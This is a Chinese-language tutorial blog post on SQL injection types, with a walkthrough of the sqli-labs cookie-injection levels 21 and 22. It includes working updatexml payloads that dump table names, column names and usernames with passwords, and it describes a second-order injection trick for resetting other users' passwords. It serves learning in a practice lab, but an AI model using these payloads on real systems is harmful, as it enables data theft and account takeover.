SQL注入1

news2025/6/3 19:29:52

 对sql进行一个小结

 还有其他的注入

其他注入:堆叠注入,宽字节注入,二次注入

首先是数值和字符

id=1 and 1=1和id=1 and 1=2 如果这两个语句返回的页面不一样就说明是数字型

id=1' and 1=1#和id=1' and 1=2#  如果这两个语句返回的页面不一样就说明是字符型

常见的字符组合

1'    1"  1')   1")    1)

id=1%' and 1=1#和id=1%' and 1=2#  如果这两个页面返回的结果不一样就说明是搜索型

GET注入:使用get请求提交数据,比如 xxx.php?id=1.

POST注入:使用post请求提交数据,比如表单,包含在数据报文里。

Cookie注入:使用Cookie的某个字段提交数据,比如在Cookie中保存用户信息。

HTTP Header注入:使用请求头提交数据,比如检测HTTP中的源地址、主机IP等

 get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。

cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。

条件

1.程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤

2.还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数,也可以是cookie里面的参数,之后的原理就像我们的sql注入一样了。

cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句

设置cookie值,打开相关网址后,清空地址栏输入以下语句,就能设置cookie字段为id,值为284,设置完后,重新打开新网址,新网址是以设置的cookie值重新访问网站的。

javascript:alert(document.cookie="id="+escape("284"))
  document.cookie:表示当前浏览器中的cookie变量

alert():表示弹出一个对话框,在该对话框中单击“确定”按钮确认信息。

escape():该函数用于对字符串进行编码

less21

看看源码

   if(isset($_POST['uname']) && isset($_POST['passwd']))
   {
   		$uname = check_input($_POST['uname']);
   		$passwd = check_input($_POST['passwd']);
   		
   		$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
   		$result1 = mysql_query($sql);
   		$row1 = mysql_fetch_array($result1);
   		if($row1)
   		{
               echo '<font color= "#FFFF00" font size = 3 >';
               setcookie('uname', base64_encode($row1['username']), time()+3600);	
   
               echo "I LOVE YOU COOKIES";
               echo "</font>";
               echo '<font color= "#0000ff" font size = 3 >';			
               //echo 'Your Cookie is: ' .$cookee;
               echo "</font>";
               echo "<br>";
               print_r(mysql_error());			
               echo "<br><br>";
               echo '<img src="../images/flag.jpg" />';
               echo "<br>";
               header ('Location: index.php');
   		}
   		else
   		{
   			echo '<font color= "#0000ff" font size="3">';
   			//echo "Try again looser";
   			print_r(mysql_error());
   			echo "</br>";			
   			echo "</br>";
   			echo '<img src="../images/slap.jpg" />';	
   			echo "</font>";  
   		}
   }

 提交的uname和passwd进行了严格的检验,

检验函数如下

//检验函数
   function check_input($value)
   {
       if(!empty($value))
       {
           $value = substr($value,0,20); // truncation (see comments)
       }
       if (get_magic_quotes_gpc())  // Stripslashes if magic quotes enabled
       {
           $value = stripslashes($value);
       }
       if (!ctype_digit($value))       // Quote if not a number
       {
           $value = "'" . mysql_real_escape_string($value) . "'";
       }
       else
       {
           $value = intval($value);
       }
       return $value;
   }

$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";

根据这条语句可以在cookie处进行注入

但是要注意base64编码

setcookie('uname', base64_encode($row1['username']), time()+3600);

 进入到数据库查询的时候,会对cookie的值进行解码,语句如下

$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";

 将cookie字段替换为payload

Dumb') and updatexml(1,concat(0x7e,database(),0x7e),1)#(此处经过base64编码,如果结果有等号还要进行url编码)

测试之后就会发现是字符型的注入,单引号加上右括号

以下的语句需要进行base64编码

爆security的表名:
Dumb') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&submit=Submit
 
爆users的列名:
Dumb') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#&submit=Submit
 
爆数据:
Dumb') and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#&submit=Submit
 
Dumb') and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),32,31),0x7e),1)&submit=Submit
 

 第22关

只是闭合方式不一样,采用的是双引号的

显注:前端页面可以回显用户信息,比如 联合注入、报错注入。

盲注:前端页面不能回显用户信息,比如 布尔盲注、时间注入

联合注入

1、寻找注入点
2、判断闭合方式
3、判断列数
order by
4、联合查询,查看回显位置
union select 1,2,3,4
5、查看数据库名、版本等相关信息
6、得到所有数据库名
7、得到指定数据的所有列表
8、得到指定表的列名
9、得到想要的数据

常见的闭合方式

数字类型(无闭合)

单引号 ’

双引号 ”

括号 )

组合方式 ‘) ") ')) "))

注释符

--+      #

报错注入常用的函数

extractvalue()    使用XPath表示法从XML字符串中提取值
updatexml()       改变文档中符合XML片段的值
extractvalue(xml对象文档的内容,路径)
updatexml(xml对象文档的内容,路径,要修改的新内容)

 一个是提取,一个是修改

报错符号

一般书写在路径位置为特殊符号,即可使得出现报错,
0x7e(~)

报错原理

 路径出现特殊符号得时候,就会报错
然后利用concat把符号和sql命令语句拼接到一块,就可以执行报错注入

eg

extractvalue(1,0x7e);

 堆叠注入形成原理

 就是在执行sql语句的时候,运用的multi函数,此函数可以执行多条sql语句,攻击者闭合第一个参数,然后用;号可以执行输入的语句,因此造成堆叠注入

函数

mysql_multi_query

 利用

先闭合前面的数据,用;进行闭合,然后再后面输入自己要执行的sql语句,随后注释后面的数据

 二次注入

攻击者第一次输入的时候,后端代码对攻击者输入的参数进行了转义,但是在传入到数据库的时候的时候,没有进行转义,当攻击者再次读取到数据的时候,没有对数据库的字符进行转义,因此导致形成闭合

在注册当中,把用户名注册为和数据库人员一样的名字,在名字后面添加闭合字符,因此插入到数据库当中,再次修改用户密码的时候,就可以形成闭合,修改目标账户的密码
也可以在名字添加闭合字符后面增加or 1语句,再次执行的时候,就是修改全表中用户的密码

也就是先加上字符,然后再加上or 1

宽字节注入

当客户端发送到服务端的时候运用一种编码,服务端发送到数据库的时候又运用了一种编码,返回到客户端的时候运用了一种编码

这里就已经运用了三种编码


php后台的编码与数据库的编码不一致,或者经过一些编码函数(如iconv) 进行转换处理,导致可以使用宽字节,绕过转义字符,完成闭合,导致sql注入

编码格式

指Unicode编码,存储方式采用UTF-16。因为只有2字节和4字节两种情况,故用wchar_t,占两个字节。

当后台程序对于传入的数据的数据进行了转义时,需要运用到闭合的时候

上面只是一部分比较常见的,后面的还需要进一步去了解。

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1224869.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

微服务下整合knife4j接口文档

前言:本文旨在解决微服务下通过网关访问所用服务的knife4j文档&#xff0c;无需再通过其他服务单独访问 功能模块配置&#xff1a; 1.配置类&#xff1a; 在这个文件中注意下basePackage的扫描路径&#xff0c;修改为对应controller下的路径。 Configuration EnableSwagger…

土地利用强度(LUI)综合指数

土地利用强度的概念可以解释为某一时间特定区域内人类活动对土地利用强度的干扰程度[1]&#xff0c;其不仅反映不同土地利用类型本身的自然属性&#xff0c;也体现了人类利用土地的深度和广度&#xff0c;进而揭示在人类社会系统干扰下土地资源自然综合体自然平衡的保持状态[2]…

jbase打印导出实现

上一篇实现了虚拟M层&#xff0c;这篇基于虚拟M实现打印导出。 首先对接打印层 using Newtonsoft.Json; using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Text; using System.Threading.Tasks; using System.Xml;namesp…

【原创】java+swing+mysql鲜花购物商城设计与实现

前言&#xff1a; 本文主要介绍了鲜花购物商城的设计与实现。首先&#xff0c;通过市场需求&#xff0c;我们确定了鲜花商场的功能&#xff0c;通常的商城一般都是B/S架构&#xff0c;然而我们今天要用javaswing去开发一个C/S架构的鲜花商城&#xff0c;利用开发技术和工具&am…

Swagger(4):Swagger配置

在上一张的项目中创建SwaggerConfig&#xff0c;进行配置文档内容。 1 配置基本信息 Docket&#xff1a;摘要对象&#xff0c;通过对象配置描述文件的信息。 apiInfo:设置描述文件中info。参数类型ApiInfo select():返回ApiSelectorBuilder对象&#xff0c;通过对象调用buil…

Android Studio 写一个Java调用c++ 的demo

前提条件&#xff1a; 本地已经配置好了ndk环境,如果没有配置好&#xff0c;建议参考macos 配置ndk环境-CSDN博客 这篇链接。 新建一个Empty Project 比如我这里的Project的名字是HelloJNI&#xff0c;包名是com.example.hellojni 然后在src目录下&#xff0c;右键选择Add C …

PHP 中传值与传引用的区别,什么时候传值什么时候传引用?

传值&#xff1a;当使用传值的方式时&#xff0c;函数或方法会创建原始变量的一个副本&#xff0c;并将该副本传递给函数或方法。在函数或方法内部&#xff0c;对副本的任何修改都不会影响到原始变量。当函数或方法执行完毕后&#xff0c;副本被销毁&#xff0c;不再使用。 传引…

一款.NET开源的小巧、智能、免费的Windows内存清理工具 - WinMemoryCleaner

前言 我们在使用Windows系统的时候经常会遇到一些程序不会释放已分配的内存&#xff0c;从而导致电脑变得缓慢。今天给大家推荐一款.NET开源的小巧、智能、免费的Windows内存清理工具&#xff1a;WinMemoryCleaner。 使用Windows内存清理工具来优化内存&#xff0c;这样不必浪…

电子商务、搜索引擎

电子商务 域名 网络服务 网络樱肖 搜索引擎优化

Leetcode—141.环形链表【简单】

2023每日刷题&#xff08;三十三&#xff09; Leetcode—141.环形链表 快慢指针算法思想 关于快慢指针为什么能检测出环&#xff0c;可以这么思考。 假设存在一个环: 慢指针进入环后&#xff0c;快指针和慢指针之间相距为d&#xff0c;每一次移动&#xff0c;d都会缩小1&…

Python---函数练习:编写一个打招呼程序

函数的定义-------相关链接&#xff1a;Python---函数的作用&#xff0c;定义&#xff0c;使用步骤&#xff08;调用步骤&#xff09;-CSDN博客基本语法&#xff1a; def 函数名称([参数1, 参数2, ...]):函数体...[return 返回值] 函数的调用 Python中&#xff0c;函数和变量一…

Matlab群体智能优化算法之海象优化算法(WO)

文章目录 一、灵感来源二、算法的初始化三、GTO的数学模型Phase1&#xff1a;危险信号和安全信号Phase2&#xff1a;迁移&#xff08;探索&#xff09;Phase3&#xff1a;繁殖&#xff08;开发&#xff09; 四、流程图五、伪代码六、算法复杂度七、WO搜索示意图八、实验分析和结…

Kafka(四)消费者消费消息

文章目录 如何确保不重复消费消息&#xff1f;消费者业务逻辑重试消费者提交自定义反序列化类消费者参数配置及其说明重要的参数session.time.ms和heartbeat.interval.ms和group.instance.id增加消费者的吞吐量消费者消费的超时时间和poll()方法的关系 消费者消费逻辑启动消费者…

哈希

欢迎来到Cefler的博客&#x1f601; &#x1f54c;博客主页&#xff1a;那个传说中的man的主页 &#x1f3e0;个人专栏&#xff1a;题目解析 &#x1f30e;推荐文章&#xff1a;题目大解析&#xff08;3&#xff09; 目录 &#x1f449;&#x1f3fb;unordered系列关联式容器un…

探索NLP中的核心架构:编码器与解码器的区别

❤️觉得内容不错的话&#xff0c;欢迎点赞收藏加关注&#x1f60a;&#x1f60a;&#x1f60a;&#xff0c;后续会继续输入更多优质内容❤️ &#x1f449;有问题欢迎大家加关注私戳或者评论&#xff08;包括但不限于NLP算法相关&#xff0c;linux学习相关&#xff0c;读研读博…

【刷题专栏—突破思维】LeetCode 138. 随机链表的复制

前言 随机链表的复制涉及到复制一个链表&#xff0c;该链表不仅包含普通的next指针&#xff0c;还包含random指针&#xff0c;该指针指向链表中的任意节点或空节点。 文章目录 原地修改链表 题目链接&#xff1a; LeetCode 138. 随机链表的复制 原地修改链表 题目介绍&#xf…

Arduino驱动LM35线性温度传感器(温湿度传感器)

目录 1、传感器特性 2、控制器和传感器连线图 3、驱动程序 LM35半导体的温度传感器,可以用来对环境温度进行定性的检测。LM35半导体温度传感器是美国国家半导体公司生产的线性温度传感器。其测温范围是-40℃到150℃,灵敏度为10mV/℃,输出电压与温度成正比。

亚马逊云Amazon OpenSearch Serverless“利刃在手,‘向量’八方“

全Serverless架构新价值 随着Amazon OpenSearch Serverless正式上线“商用”&#xff0c;亚马逊云科技的全栈“Serverless”应用架构也“初见雏形”&#xff0c;这也意味着&#xff0c;未来企业可以在亚马逊云科技之上简单和轻松的搭建完整的无服务器应用架构。 数据也显示&am…

【LeetCode刷题日志】225.用队列实现栈

&#x1f388;个人主页&#xff1a;库库的里昂 &#x1f390;C/C领域新星创作者 &#x1f389;欢迎 &#x1f44d;点赞✍评论⭐收藏✨收录专栏&#xff1a;LeetCode 刷题日志&#x1f91d;希望作者的文章能对你有所帮助&#xff0c;有不足的地方请在评论区留言指正&#xff0c;…

Git配置代理:fatal: unable to access*** github Failure when receiving data from

~吐槽一下 github自从被微软收购以后&#xff0c;大多数情况没点科技上网都进不去了&#xff0c;还是怀念以前随时访问的时光。 我一直都是开着系统代理的&#xff0c;但是今天拉一个项目发现拉不下来了&#xff0c;报错&#xff1a; fatal: unable to access https://githu…